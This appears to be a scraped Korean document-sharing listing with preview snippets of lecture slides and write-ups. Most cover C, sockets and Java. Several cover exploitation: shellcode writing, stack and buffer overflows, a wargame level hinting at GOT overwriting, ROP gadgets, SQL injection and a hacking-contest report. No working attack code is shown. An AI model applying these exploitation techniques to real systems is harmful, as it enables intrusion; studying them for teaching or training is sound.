BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

C 언어 프로그래밊 과제 풀이

C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

제목 레이아웃

제목 레이아웃 웹해킹이라고무시하는것들보소 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM SQL Injection 끝나지않은위협 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM Who am I 정도원 aka rubiya Penetration tester Web application bughuter Pwned 20+ wargame @kr_rubiya

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

Microsoft PowerPoint - Java7.pptx

Microsoft PowerPoint - Java7.pptx HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx CrackMe 15.exe (in Simples) 문제풀이 동명대학교정보보호동아리 THINK www.mainthink.net 강동현 Blog: johnghb.tistory.com e-mail: cari2052@gmail.com 1 목차 : 1. 문제설명및기본분석 --------------------------- P. 03 2 상세분석 ---------------------------

More information

Windows 8에서 BioStar 1 설치하기

Windows 8에서 BioStar 1 설치하기 / 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

POC "Power of Community" 이민우 (lwmr)

POC Power of Community 이민우 (lwmr) POC2011 - "Power of Community" 이민우 (lwmr) pmskylove@gmail.com L_01 Q : 지성이는홈쇼핑을하다이상한페이지에접속하여악성코드에감염되었다! 악성스크립트에포함되어있는쉘코드가다운로드하는 URL 을찾아라! Twitter 의 2mart 라는힌트를보고 WireShark 의 File Export -> Objects -> HTTP

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

<4D6963726F736F667420576F7264202D20B3BBBACEC7D8C5B7B4EBC8B820BAB8B0EDBCAD2E646F6378>

<4D6963726F736F667420576F7264202D20B3BBBACEC7D8C5B7B4EBC8B820BAB8B0EDBCAD2E646F6378> HUST 내부해킹대회 보고서 Uprising 팀원: 이규현, 김정주, 장민석, 송진기 Network.1 문제 파일을 UltraEdit으로 열어보니 ip가 적혀있고 통신내용인 것 같은 내용들이 포함되어있어 Wireshark로 열어보니 패킷들이 캡쳐되어있었다. Wireshark에서 Follow TCP Stream을 이용해 통신 내용을 보는데 일부가 인코드된 Base64

More information

13주-14주proc.PDF

13주-14주proc.PDF 12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

중간고사

중간고사 중간고사 예제 1 사용자로부터받은두개의숫자 x, y 중에서큰수를찾는알고리즘을의사코드로작성하시오. Step 1: Input x, y Step 2: if (x > y) then MAX

More information

Chapter 1

Chapter 1 3 Oracle 설치 Objectives Download Oracle 11g Release 2 Install Oracle 11g Release 2 Download Oracle SQL Developer 4.0.3 Install Oracle SQL Developer 4.0.3 Create a database connection 2 Download Oracle 11g

More information

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher( 실행할페이지.jsp); 다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher

More information

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자 SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 Eclipse (IDE) JDK Android SDK with ADT IDE: Integrated Development Environment JDK: Java Development Kit (Java SDK) ADT: Android Development Tools 2 JDK 설치 Eclipse

More information

Microsoft PowerPoint - 04-UDP Programming.ppt

Microsoft PowerPoint - 04-UDP Programming.ppt Chapter 4. UDP Dongwon Jeong djeong@kunsan.ac.kr http://ist.kunsan.ac.kr/ Dept. of Informatics & Statistics 목차 UDP 1 1 UDP 개념 자바 UDP 프로그램작성 클라이언트와서버모두 DatagramSocket 클래스로생성 상호간통신은 DatagramPacket 클래스를이용하여

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

Microsoft PowerPoint 웹 연동 기술.pptx

Microsoft PowerPoint 웹 연동 기술.pptx 웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 URL 분석 (1/2) URL (Uniform Resource Locator) 프로토콜, 호스트, 포트, 경로, 비밀번호, User 등의정보를포함 예. http://kim:3759@www.hostname.com:80/doc/index.html URL 을속성별로분리하고자할경우

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

목차 1. 시스템요구사항 암호및힌트설정 ( 윈도우 ) JetFlash Vault 시작하기 ( 윈도우 ) JetFlash Vault 옵션 ( 윈도우 )... 9 JetFlash Vault 설정... 9 JetFlash Vault

목차 1. 시스템요구사항 암호및힌트설정 ( 윈도우 ) JetFlash Vault 시작하기 ( 윈도우 ) JetFlash Vault 옵션 ( 윈도우 )... 9 JetFlash Vault 설정... 9 JetFlash Vault 사용자매뉴얼 JetFlash Vault 100 ( 버전 1.0) 1 목차 1. 시스템요구사항... 3 2. 암호및힌트설정 ( 윈도우 )... 3 3. JetFlash Vault 시작하기 ( 윈도우 )... 7 4. JetFlash Vault 옵션 ( 윈도우 )... 9 JetFlash Vault 설정... 9 JetFlash Vault 찾아보기... 10 JetFlash

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

SMB_ICMP_UDP(huichang).PDF

SMB_ICMP_UDP(huichang).PDF SMB(Server Message Block) UDP(User Datagram Protocol) ICMP(Internet Control Message Protocol) SMB (Server Message Block) SMB? : Microsoft IBM, Intel,. Unix NFS. SMB client/server. Client server request

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E > 웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 소켓 (Socket) (1/2) Socket 이란? 서버와클라이언트가서로특정한규약을사용하여데이터를전송하기위한방식 서버와클라이언트는소켓연결을기다렸다가소켓이연결되면서로데이터를전송 현재네트워크상에서의모든통신의근간은 Socket 이라할수있음 Page 2 1 소켓 (Socket) (2/2)

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

PowerPoint Presentation

PowerPoint Presentation 객체지향프로그래밍 클래스, 객체, 메소드 ( 실습 ) 손시운 ssw5176@kangwon.ac.kr 예제 1. 필드만있는클래스 텔레비젼 2 예제 1. 필드만있는클래스 3 예제 2. 여러개의객체생성하기 4 5 예제 3. 메소드가추가된클래스 public class Television { int channel; // 채널번호 int volume; // 볼륨 boolean

More information

1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat   >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키 Lighttpd ( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat

More information

Microsoft Word - src.doc

Microsoft Word - src.doc IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...

More information

DocsPin_Korean.pages

DocsPin_Korean.pages Unity Localize Script Service, Page 1 Unity Localize Script Service Introduction Application Game. Unity. Google Drive Unity.. Application Game. -? ( ) -? -?.. 준비사항 Google Drive. Google Drive.,.. - Google

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint Presentation

PowerPoint Presentation FORENSICINSIGHT SEMINAR SQLite Recovery zurum herosdfrc@google.co.kr Contents 1. SQLite! 2. SQLite 구조 3. 레코드의삭제 4. 삭제된영역추적 5. 레코드복원기법 forensicinsight.org Page 2 / 22 SQLite! - What is.. - and why? forensicinsight.org

More information

03장.스택.key

03장.스택.key ---------------- DATA STRUCTURES USING C ---------------- 03CHAPTER 1 ? (stack): (LIFO:Last-In First-Out) 2 : top : ( index -1 ),,, 3 : ( ) ( ) -> ->. ->.... 4 Stack ADT : (LIFO) : init():. is_empty():

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture4-1 Vulnerability Analysis #4-1 Agenda 웹취약점점검 웹사이트취약점점검 HTTP and Web Vulnerability HTTP Protocol 웹브라우저와웹서버사이에하이퍼텍스트 (Hyper Text) 문서송수신하는데사용하는프로토콜 Default Port

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070> /* */ /* LZWIN.C : Lempel-Ziv compression using Sliding Window */ /* */ #include "stdafx.h" #include "Lempel-Ziv.h" 1 /* 큐를초기화 */ void LZ::init_queue(void) front = rear = 0; /* 큐가꽉찼으면 1 을되돌림 */ int LZ::queue_full(void)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Microsoft Word - windows server 2003 수동설치_non pro support_.doc Windows Server 2003 수동 설치 가이드 INDEX 운영체제 설치 준비과정 1 드라이버를 위한 플로피 디스크 작성 2 드라이버를 위한 USB 메모리 작성 7 운영체제 설치 과정 14 Boot Sequence 변경 14 컨트롤러 드라이버 수동 설치 15 운영체제 설치 17 운영체제 설치 준비 과정 Windows Server 2003 에는 기본적으로

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

